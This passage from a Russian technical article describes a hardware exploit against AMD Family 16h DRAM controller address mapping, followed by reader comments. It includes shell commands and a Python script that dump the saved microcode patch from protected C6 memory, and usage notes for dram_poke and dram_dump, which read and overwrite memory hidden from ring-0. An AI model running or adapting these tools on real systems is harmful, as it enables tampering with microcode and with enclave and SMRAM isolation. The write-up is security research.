+0xa38 |
динамически настраиваемые MTRR (базовый адрес/маска) |
|
+0xb10 |
Сохранённое значение RIP |
|
Естественно, все эти регистры и так доступны в ring-0. Самое же интересное кроется в остальных данных о состоянии процессора, которые хранятся в этой области памяти — а именно возможность изменять содержимое внутренних регистров CPU, недоступных даже из ring-0.
Вскрываем микрокод CPU
А тут-то что может пойти не так?
Когда ядро переходит в состояние C6, его RAM патчей микрокода (энергозависимая SRAM) обесточивается вместе со всем остальным кристаллом. В этот момент загруженный патч микрокода сохраняется в DRAM, а при пробуждении ядра — разворачивается обратно. Сохранённая копия лежит в выделенной области каждого ядра по смещению +0x1800, и через карту алиасов к ней можно получить доступ точно так же, как и к любому другому байту.
Забираем копию микрокода, которую процессор сохранил в изолированной DRAM:
./userspace/platform_check || exit 1 eval "$(sudo ./userspace/dram_carveouts --region cc6)" # Тело активного патча микрокода хранится на первой странице области сохранения ядра 0. sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \ $(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin
Сверяем полученный дамп с известными официальными патчами:
# Удалось ли нам его найти? python3 - <<'EOF' ram = open("ucode_ram.bin", "rb").read() chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12] for fam in (15, 16, 17, 19): uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read() print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match") EOF
Это хороший знак:
fam15h: 0/94 chunks match fam16h: 68/94 chunks match <- микрокод, на котором сейчас работает ядро fam17h: 0/94 chunks match fam19h: 0/94 chunks match
Извлекаем триады микроинструкций:
od -Ax -tx1 -w20 ucode_ram.bin
000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a 000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0 000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27 [...] 000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00 * 0005f0
И вот оно перед нами: чётко различимые микрооперации в верхней части и повторяющееся заполнение пустыми инструкциями внизу.
Помимо dram_dump, в нашем распоряжении есть его родственник — dram_poke. С его помощью мы можем по тому же алиасу, который использовали для чтения патча, изменить этот патч — ведь именно его копию загружает ядро при каждом выходе из сна.
Что вы будете делать с этим дальше, зависит только от полёта вашей фантазии.
Сборка
make # компиляция kernel/spaghettify.ko и всех инструментов пространства пользователя. make clean
Применение
Выполняйте от имени суперпользователя. Подробности в USAGE.md.
dram_read
Обычное считывание данных из защищённого адреса памяти.
Применяет флаги --do-swizzle / --do-bankswap в контроллере DRAM для перехода в режим искажённого представления памяти, считывает одно dword по физическому адресу <pa>, восстанавливает исходное состояние битов DCT и возвращает полученное значение.
dram_read --pa <pa> --do-swizzle <0|1> --do-bankswap <0|1>
dram_poke
Запись данных в защищённую область памяти.
Каждая карта --map — это вычисленная схема искажения из скрипта unspaghettify.py --save-map, который обрабатывает пары алиасов, собранные через gather_aliases.py. Подменный адрес для каждого dword в защищённом диапазоне восстанавливается по карте с помощью псевдообратной матрицы в поле GF(2), которая вычисляется один раз при запуске. Чтобы расширить область покрытия, передавайте несколько карт — по одной на каждую комбинацию (at_swizzle, at_bankswap), собранную на этом же оборудовании. Поскольку каждая схема искажения оставляет свой набор «дыр» из-за падения ранга матрицы, для каждого конкретного dword выбирается первая карта, которая смогла до него дотянуться.
dram_poke [--dangerously-skip-calibration] [--calibrate-pa <hex>] [--strict-holes] [--no-verify] [--ignore-fw-mismatch] [--fenced-range <lo>,<hi>] [--allow-fenced-alias] -s, --protected-pa <pa> -l, --length <n> --map <file> [--map <file>]... < in.bin
dram_dump
Читает данные из защищённой области памяти.
Использует тот же механизм карт, что и dram_poke. Каждая карта — это вычисленная схема искажения из unspaghettify.py --save-map, подменный адрес для каждого dword восстанавливается с помощью разового вычисления псевдообратной матрицы в поле GF(2), а использование нескольких карт, собранных при разных значениях (at_swizzle, at_bankswap), расширяет область покрытия, чтобы «дыры» из-за падения ранга одной карты перекрывались возможностями другой.
dram_poke [--dangerously-skip-calibration] [--calibrate-pa <hex>] [--strict-holes] [--no-verify] [--ignore-fw-mismatch] [--fenced-range <lo>,<hi>] [--allow-fenced-alias] -s, --protected-pa <pa> -l, --length <n> --map <file> [--map <file>]... < in.bin
Весь набор инструментов (dram_state, dram_carveouts и dram_alias), конвейер анализа gather_aliases.py / unspaghettify.py, а также готовые сквозные примеры и описание внутреннего устройства всего механизма задокументированы в файле USAGE.md
Общая структура конвейера
Проект skitter-creek-bath-salts наглядно показывает, как финальные этапы преобразований MCT/DCT способны полностью обрушить безопасность всех надстроек. Продемонстрированный эксплойт задействует всего один конфигурационный регистр на архитектуре AMD Family 16h. Конкретно она была выбрана лишь потому, что в её спецификации нашлось достаточно зацепок, чтобы начать эксперимент. Но при этом сам конвейер обработки, логику которого удалось нарушить, используется повсеместно.
Чередование каналов, чередование рангов, чередование банков, свизлинг, нормализация выбора чипа — абсолютно любой современный контроллер памяти выполняет те или иные версии всех этих процедур. AMD, Intel, ARM, RISC-V, мобильные платформы, серверы, встраиваемые системы — в основе всего лежит одна и та же архитектурная логика.
А поверх всего этого располагаются технологии SEV, SGX, TDX, TrustZone, окружения CCA, pKVM, CoVE, SEP, PSP, ME, области T-SEG, SMRAM и область сохранения C6. Всё, что находится в DRAM — даже зоны, аппаратно изолированные и полностью невидимые для ring-0 или самого процессора — опирается на финальные уровни конвейера *p, исследование которого мы только начали.
Комментарии (7)

Siegreicher
28.08.2026 13:53AMD FAM16 это APU выпуска 2013-2014 годов ( кодовые имена Puma и Jaguar), к новым процессорам семейства Zen оно отношения не имеет. Вопрос о современности этих окаменелостей спорен. Но владельцам PS4 и XBox One (S/X) может быть и помогло бы, для играния в пиратские игори.

ChilliWil
28.08.2026 13:53Хороше подтверждение тому что аппаратная безопасность это просто набор хрупких заборов поверх физического хаоса. Если ты добрался до регистров контроллера памяти, то вся эта магия с анклавами превращается в обычную переменную, которую можно перетереть
unreal_undead2
И оно реально найдёт DRAM контроллер в адресном пространстве пользовательского процесса?
SIISII
Вот у меня примерно тот же самый вопрос, а точнее: что, код режима пользователя может выполнять операции записи прямо в регистры устройств, в частности, контроллера памяти? Если нет, то ничего поменять не удастся. Если да -- то это показывает кривизну используемой ОС, которая не должна давать такую возможность приложениям. (Вот драйверы и прочие модули режима ядра такое творить могут, да -- но это другое).
NightShad0w
На гифке - модуль ядра. Так что да, без суперпользователя, и доступа уровня ядра скорее всего не прокатит. Потому наверно это и не столько уязвимость и конец всему, а увлекательная разминка для мозгов.
beeruser
Этот эксплойт позволяет получить доступ к ресурсам, скрытым от ядра ОС.
ChilliWil
Нет конечно, это было бы слишком просто. Все подобные эксплойты всегда подразумевают, что ты уже сломал систему и сидишь в Ring-0, иначе это просто влажные фантазии)